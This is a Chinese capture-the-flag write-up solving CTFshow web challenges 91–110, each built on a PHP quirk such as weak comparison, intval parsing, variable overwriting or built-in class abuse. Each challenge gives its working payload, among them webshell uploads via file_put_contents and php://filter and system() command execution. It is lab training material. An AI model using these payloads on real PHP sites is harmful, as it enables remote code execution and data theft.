《CTFshow-Web入门》10. Web 91~110

Web 入门

  • 索引
  • web91
    • 题解
    • 总结
  • web92
    • 题解
    • 总结
  • web93
    • 题解
  • web94
    • 题解
  • web95
    • 题解
  • web96
    • 题解
  • web97
    • 题解
  • web98
    • 题解
  • web99
    • 题解
    • 总结
  • web100
    • 题解
  • web101
    • 题解
  • web102
    • 题解
  • web103
    • 题解
  • web104
    • 题解
  • web105
    • 题解
    • 总结
  • web106
    • 题解
  • web107
    • 题解
  • web108
    • 题解
  • web109
    • 题解
  • web110
    • 题解


ctf - web入门

索引

  • web91:PHP 特性之 preg_match(),换行解析漏洞。
  • web92:PHP 特性之 intval()===== 的区别。
  • web93:PHP 特性之 intval()
  • web94:PHP 特性之 intval()
  • web95:PHP 特性之 intval()
  • web96:PHP 特性之 highlight_file()、字符串匹配。
  • web97:PHP 特性之 md5()
  • web98:PHP 三元运算,GET 与 POST 传参。
  • web99:PHP 特性之 in_array()
  • web100:PHP 特性之赋值运算【=】优先级。
  • web101:PHP 特性之赋值运算【=】优先级,ReflectionClass($class) 建立反射类。
  • web102:PHP 特性之赋值运算【=】优先级,is_numeric() 特性,call_user_func()hex2bin() 利用,PHP 伪协议。
  • web103:与 web102 没什么区别。
  • web104:PHP 特性之 sha1(),弱等于 ==
  • web105:PHP 特性之变量覆盖。
  • web106:PHP 特性之 sha1(),弱等于 ==
  • web107:PHP 特性之 sha1(),弱等于 ==parse_str() 利用。
  • web108:PHP 特性之 ereg() 截断漏洞。
  • web109:PHP 特性之 __toString() 与类触发。
  • web110:FilesystemIterator 类,getcwd() 利用

web91

在这里插入图片描述

题解

^ 和 $ 这种正则匹配,只匹配一行。但是正则匹配 /m 可以执行多行匹配。
所以第一层条件是多行匹配,第二层条件是单行匹配,这样就可以用换行符 %0a 绕过。

题解

URl + ?cmd=abc%0aphp

总结

正则表达式:

在这里插入图片描述

参考文章:换行解析漏洞(CVE-2017-15715)

web92

在这里插入图片描述

题解

这一题乍一看和 web90 很像。

但这里比较是两个等号(弱匹配比较),而 web90 是三个等号。

所以这题不能用除了 e 的字母绕过了。

php有个特殊的字母:e,可以表示科学计数法。
但是当intval()读取到e的时候就会停止。

法一

与 web90 一样,使用非十进制数传递:

url + ?num=010574

法二

url + ?num=4476e123

总结

php 中 ===== 的区别

两个等号是先把等号两边的变量转化成相同的类型,如果转换类型后的结果是相等的,就认为相等。

三个等号是先判断两边变量的数据类型,如果数据类型相同,再去判断两边的值,如果值相等,那么为真。

web93

在这里插入图片描述

题解

这题直接不能使用字母了。

根据 web90 的经验,直接进制转换(详见 web90)。

url + ?num=010574

web94

在这里插入图片描述

题解

  • strpos()
    查找字符串首次出现的位置。字符串位置是从0开始。

相比上一题不能用进制转换。

但是 intval() 函数可以把浮点数类型变为 int 类型。

url + ?num=4476.0

web95

在这里插入图片描述

题解

本题过滤了小数点,字符限制不能使用十六进制和 e。
但是可以使用 8 进制绕过。
可以通过加号或者空格绕过限制条件。

url + ?num=+010574

web96

在这里插入图片描述

题解

字符串匹配,加上当前目录 ./ 绕过。

url + ?u=./flag.php

web97

在这里插入图片描述

题解

根据题目,PHP md5() 函数如果传入数组,返回值将是 NULL,所以可以用数组绕过。

:post 传递数据。

a[]=1&b[]=2

web98

在这里插入图片描述

题解

题目分析:

$_GET?$_GET=&$_POST:'flag';
/*
三元运算符。
$_GET 变量是一个数组,内容是 GET 方法发送的变量名称和值,类似于字典。
如果 $_GET 变量不为空,则 $_GET 变量和 $_POST 变量指向同一个地址,即$_POST 变量内容会影响 $_GET 变量的内容。
如果 $_GET 变量为空,整个三元表达式的结果为 ’flag’。
*/$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
/*
如果 flag 变量值为 ’flag’,则 $_GET 变量和 $_COOKIE 变量指向同一个地址;
否则返回flag。
*/$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
/*
如果flag变量值为’flag’,则 $_GET 变量和 $_SERVER 变量指向同一个地址;
否则返回flag。
*/highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
/*
如果 HTTP_FLAG 变量值为 ’flag’,输出 $flag,否则输出当前文件。
*/

所以目标就是 get 传参 HTTP_FLAG=flag。

get 传参就要执行第一个三元运算,所以 post 也需要传递 HTTP_FLAG=flag。

中间两个条件会返回结果 ’flag’,没有影响。

通过 get 请求与 post 请求同时传递相同参数

get 传参:

url + ?HTTP_FLAG=flag

post 传参:

HTTP_FLAG=flag

web99

在这里插入图片描述

题解

in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较。

所以这题通过 GET 传递值来命名 PHP 文件,再通过 POST 传递 webshell 写入文件。之后访问此 webshell 即可。

get 传参:

url + ?n=30.php

post 传参:

content=<?php system($_POST[1]);?>

在这里插入图片描述

访问 webshell 30.php,并传递命令:

在这里插入图片描述

总结

php 函数:

  • array_push():向尾部插入元素。
  • in_array():检查数组中是否存在指定值。
  • file_put_contents():将字符串写入文件。

in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。

web100

在这里插入图片描述

题解

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){ 

特性:赋值【=】的优先级高于逻辑运算。所以只要让 is_numeric($v1) 返回 true 即可满足 if 判断。

if(!preg_match("/\;/", $v2)){  // v2 不能含分号if(preg_match("/\;/", $v3)){  // v3 要含分号eval("$v2('ctfshow')$v3");  // 可利用注释} 

再根据以上代码分析,得出 payload:

url + ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

web101

在这里插入图片描述

题解

与 web100 类似,但过滤了很多字符,不能使用 web100 的方法了。

由于涉及了类,可以利用 ReflectionClass 建立反射类。

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)。

url + ?v1=1&v2=echo new Reflectionclass&v3=;

在这里插入图片描述

除此以外 flag 部分字符经过了 ASCII 编码,还少了一位字符,不过爆破即可。

web102

在这里插入图片描述

题解

这题饶了几个圈。根据答案逆推理顺了思路。

先看题解。

将下列中括号中的代码 base64 编码,注意末尾有一个空格。
[<?=`cat *`; ]编码后的数据:
PD89YGNhdCAqYDsg再将 base64 编码后的数据进行 16 进制 ASCII 编码。
编码后的数据:
5044383959474e686443417159447367在编码后的数据前面随便加上两个占位数字,这里加 11。
115044383959474e686443417159447367同时传递以下数据:
v1=hex2bin
v2=115044383959474e686443417159447367
v3=php://filter/write=convert.base64-decode/resource=1.phpv1 以 POST 方式传输,v2,v3使用 GET。

题解

GET 传递:

url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php

POST 传递:

v1=hex2bin

在这里插入图片描述

之后访问 1.php 查看源码即可获取 flag。

在这里插入图片描述

下面分析一下:

  • call_user_func():
    用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
  • file_put_contents():
    写入内容到文件中,第一个参数是文件名,第二个参数是内容
  • hex2bin():
    把十六进制值的字符串转换为 ASCII 字符(十六进制转二进制)。
所以总的思路就是将 <?=`cat *`; 代码传递并通过伪协议写入一个 php 文件,之后访问此文件就可以执行代码读取当前目录下所有文件的内容。

为什么选择以上代码写入文件,参考下列资料:

《ctfshow学习记录-web入门(php特性99-108)》
https://blog.csdn.net/m0_48780534/article/details/125445026

web103

在这里插入图片描述

题解

与 web102 没有太大区别,沿用 web102 的解法。

正则表达式是用来检查是否存在 “php” 这个字符串的子串(不区分大小写)。

题解

GET 传递:

url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php

POST 传递:

v1=hex2bin

之后访问 1.php 查看源码即可获取 flag。

分析见 web102。

web104

在这里插入图片描述

题解

sha1():计算字符串的 sha1 散列值。

这题没什么好说的,简单的传递一样的值即可。

在这里插入图片描述

补充,与 web97 类似,可用数组绕过。

除此以外,值的判断是使用 ==(弱等于,详见 web92),所以找加密后 0e 开头的两个值也可以。

aaK1STfY -> 0e76658526655756207688271159624026011393aaO8zKZF -> 0e89257456677279068558073954252716165668

web105

在这里插入图片描述

题解

这一题涉及变量覆盖。

示例:

$a='b'; 
$c='d';
$b=1; 
$d=0;
echo $a;  # 输出 b
echo $c;  # 输出 d
echo $$a; # 输出 1,即 $$a -> $b -> 1
echo $$c; # 输出 0

根据代码,尝试使用变量覆盖让 $suces$error 都等于 $flag。这样无论如何根据代码的输出都能得知 flag。

GET 传参:

url + ?suces=flag

POST 传参:

error=suces

在这里插入图片描述

总结

变量覆盖(可变变量),用于通过变量的值来动态命名变量并访问其值。

以 PHP 为例,$$a 是一种特殊的变量语法,用来实现变量覆盖:

$foo = 'bar';
$bar = 'Hello, World!';// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar 
// 最终输出 'Hello, World!' 。
echo $$foo;

web106

在这里插入图片描述

题解

比 web104 多判断了 v1 不能等于 v2。

方法一:使用数组。

GET 传参:

url + ?v2[]=2

POST 传参:

v1[]=1

在这里插入图片描述

方法二:使用加密后 0e 开头的两个值。

aaK1STfY -> 0e76658526655756207688271159624026011393
aaO8zKZF -> 0e89257456677279068558073954252716165668

在这里插入图片描述

web107

在这里插入图片描述

题解

parse_str(string,array):把查询字符串解析到变量中。

parse_str("a=1&b=2",$array);
print_r($array);
# 输出:Array([a]=>1 [b]=>2)

所以根据代码 v1 传递内容是 v1=flag=?,具体值根据 v3 的 md5 值定。再加上是弱等于,只要 md5 加密后 0e 开头即可。

GET:

url + ?v3=QNKCDZO

POST:

v1=flag=0

web108

在这里插入图片描述

题解

  • ereg():用于执行正则表达式匹配。
  • strrev():反转字符串。
  • ereg 函数存在 NULL 截断漏洞,可以绕过正则过滤,使用 %00 截断。

0x36d,转十进制是877。

url + ?c=a%00778

web109

在这里插入图片描述

题解

这道题用到魔术方法 __toString(),不少 php 的内置类里都包含有这个方法,如 ReflectionclassExceptionErrorCachingIterator

__toString():当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。

所以 echo 使得 v1 类触发 __toString(),v2 传递的数据被输出。

对于 v2 后面的括号,只要变量后面紧跟着(),就会对这个变量作为函数进行调用。

1、

url + ?v1=CachingIterator&v2=system(ls)

2、

url + ?v1=CachingIterator&v2=system('cat fl36dg.txt')

查看源码获取 flag。

也可以换成其他类。

web110

在这里插入图片描述

题解

过滤了很多字符,不能再用 web109 的方法。

考察:

  • php 内置类,利用 FilesystemIterator 获取指定目录下的所有文件。
  • getcwd() 函数,获取当前工作目录,返回当前工作目录。

url + ?v1=FilesystemIterator&v2=getcwd

在这里插入图片描述

可以看到 flag 文件就在当前目录,直接访问获取 flag。


悔既往之失,亦要防将来之非。

——《菜根谭》(明)洪应明

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/147004.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

红外遥控器 数据格式,按下及松开判断

红外遥控是一种无线、非接触控制技术&#xff0c;具有抗干扰能力强&#xff0c;信息传输可靠&#xff0c;功耗低&#xff0c;成本低&#xff0c;易实现等显著优点&#xff0c;被诸多电子设备特别是家用电器广泛采用&#xff0c;并越来越多的应用到计算机系统中。 同类产品的红…

iOS 视频压缩 mov转mp4 码率

最近还是因为IM模块的功能&#xff0c;IOS录制MOV视频发送后&#xff0c;安卓端无法播放&#xff0c;迫不得已兼容将MOV视频转为MP4发送。 其中mov视频包括4K/24FPS、4K/30FPS、4K/60FPS、720p HD/30FPS、1080p HD/30FPS、1080p HD/60FPS&#xff01; 使用AVAssetExportSessi…

使用sqlmap获取数据步骤

文章目录 1.使用sqlmap获取所有数据库2.使用sqlmap获取当前连接数据库3.使用sqlmap获取当前数据库下所有表名4.使用sqlmap获取当前数据库下某个表下所有列名5.使用sqlmap获取当前数据库下某个表下指定字段的数据6.测试当前用户是否是管理员7.使用burpsqlmap批量检测8.脱库命令9…

zkLogin构建者的最佳实践和业务思考

随着zkLogin在Sui主网上线&#xff0c;构建者可以开始为其应用程序提供丝滑的帐户创建服务。与任何新技术集成一样&#xff0c;构建者需要考虑许多重要的问题&#xff0c;以降低风险并成功优化。 本文概述了其中一些考虑因素&#xff0c;并突出了zkLogin文档中提供的明确指导。…

二、机器学习基础知识:Python数据处理基础

文章目录 1、基本数据类型1.1 数字类型&#xff08;Number&#xff09;1.2 字符串类型&#xff08;String&#xff09;1.3 列表类型&#xff08;List&#xff09;1.4 元组类型&#xff08;Tuple&#xff09;1.5 字典类型&#xff08;Dictionary&#xff09;1.6 集合类型&#x…

掌动智能:替代JMeter的压力测试工具有哪些

JMeter是一个广泛使用的开源压力测试工具&#xff0c;但在实际应用中&#xff0c;也有一些其他优秀的替代品可供选择。本文将介绍几个可替代JMeter的压力测试工具&#xff0c;它们在功能、性能和易用性方面都具有独特优势&#xff0c;可以满足不同压力测试需求的选择。 一、Gat…

lvgl不能显示图片,但可以显示按键?

AT32F403A, IAR, ST7735S, LVGL8.3。 一、现象&#xff1a; 本来想着用LVGL做一个摄像头的显示功能 切换动态。可是死活实现不了功能。 因为移植好LVGL后&#xff0c;首先测试了显示按键&#xff0c;功能正常&#xff0c;以为是一切正常。在模拟器上调试效果完成后&#xf…

Scala第十三章节

Scala第十三章节 1. 高阶函数介绍 2. 作为值的函数 3. 匿名函数 4. 柯里化 5. 闭包 6. 控制抽象 7. 案例: 计算器 scala总目录 文档资料下载

IDEA git操作技巧大全,持续更新中

作者简介 目录 1.创建新项目 2.推拉代码 3.状态标识 5.cherry pick 6.revert 7.squash 8.版本回退 9.合并冲突 1.创建新项目 首先我们在GitHub上创建一个新的项目&#xff0c;然后将这个空项目拉到本地&#xff0c;在本地搭建起一个maven项目的骨架再推上去&#xff0…

Python集成开发环境(IDE):WingPro for Mac

WingPro for Mac是一款Python集成开发环境&#xff08;IDE&#xff09;软件&#xff0c;它提供了一系列强大的工具和功能&#xff0c;帮助Python开发人员提高开发效率和质量。 WingPro for Mac拥有直观的用户界面和强大的调试器&#xff0c;可以帮助用户快速定位问题和修复错误…

12链表-双指针

目录 LeetCode之路——21. 合并两个有序链表 分析&#xff1a; LeetCode之路——19. 删除链表的倒数第 N 个结点 分析&#xff1a; LeetCode之路——21. 合并两个有序链表 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的…

宝塔反代openai官方API接口详细教程,502 Bad Gateway问题解决

一、前言 宝塔反代openai官方API接口详细教程&#xff0c;实现国内使用ChatGPT502 Bad Gateway问题解决&#xff0c; 此方法最简单快捷&#xff0c;没有复杂步骤&#xff0c;不容易出错&#xff0c;即最简单&#xff0c;零代码、零部署的方法。 二、实现前提 一台海外VPS服务…

网络安全——自学(黑客)方法

如果你想自学网络安全&#xff0c;首先你必须了解什么是网络安全&#xff01;&#xff0c;什么是黑客&#xff01;&#xff01; 1.无论网络、Web、移动、桌面、云等哪个领域&#xff0c;都有攻与防两面性&#xff0c;例如 Web 安全技术&#xff0c;既有 Web 渗透2.也有 Web 防…

云原生之使用Docker部署RSS阅读器Huntly

云原生之使用Docker部署RSS阅读器Huntly 一、Huntly介绍1.1 Huntly简介1.2 Huntly功能 二、本次实践规划2.1 本地环境规划2.2 本次实践介绍 三、本地环境检查3.1 检查Docker服务状态3.2 检查Docker版本3.3 检查docker compose 版本 四、下载Huntly镜像五、部署Huntly5.1 创建挂…

Qt自定义菜单

Qt开发过程中&#xff0c;弹出菜单时我们一般使用QMenu,但是QMenu都是一条项固定的格式&#xff0c;如查想要自己的设计界面就没法使用默认的Action项了&#xff0c;因此我们得用自定义的QMenu。 本篇介绍使用自定义的QMenu设计出UI。我们使用QWidget QWidgetAction来实现。Q…

此芯科技加入百度飞桨硬件生态共创计划,加速端侧AI生态布局

近日&#xff0c;此芯科技&#xff08;上海&#xff09;有限公司&#xff08;以下简称“此芯科技”&#xff09;与百度签署硬件生态共创计划合作协议&#xff0c;正式加入由百度发起的硬件生态共创计划。双方将共同推动端侧AI和大模型在个人计算、车载计算以及元宇宙计算等领域…

拒绝水文!八大排序(二)【适合初学者】冒泡排序和选择排序

文章目录 冒泡排序选择排序 大家好&#xff0c;我是纪宁。 这篇文章介绍八大排序中思路最简单&#xff0c;但效率也是最低的两种排序算法&#xff01; 冒泡排序 冒泡排序&#xff0c;可以说是每个人在接触编程时最先学会的一种排序。 冒泡排序基本思想 冒泡排序&#xff08;…

Rust 围炉札记

文章目录 一、安装二、文档 一、安装 rust 安装 卸载&#xff08;自定义路径&#xff09; Rust配置镜像源 Rust in Visual Studio Code Rust 官网 Rust 中文网 windows系统下Rust环境搭建以及vscode调试环境配置 二、文档 Rust 菜鸟教程 Rust 官方文档中文教程 Rust 包管理…

Docker从认识到实践再到底层原理(七)|Docker存储卷

前言 那么这里博主先安利一些干货满满的专栏了&#xff01; 首先是博主的高质量博客的汇总&#xff0c;这个专栏里面的博客&#xff0c;都是博主最最用心写的一部分&#xff0c;干货满满&#xff0c;希望对大家有帮助。 高质量博客汇总 然后就是博主最近最花时间的一个专栏…

【1++的Linux】之进程(五)

&#x1f44d;作者主页&#xff1a;进击的1 &#x1f929; 专栏链接&#xff1a;【1的Linux】 文章目录 一&#xff0c;什么是进程替换二&#xff0c;替换函数三&#xff0c;实现我们自己的shell 一&#xff0c;什么是进程替换 我们创建出来进程是要其做事情的&#xff0c;它可…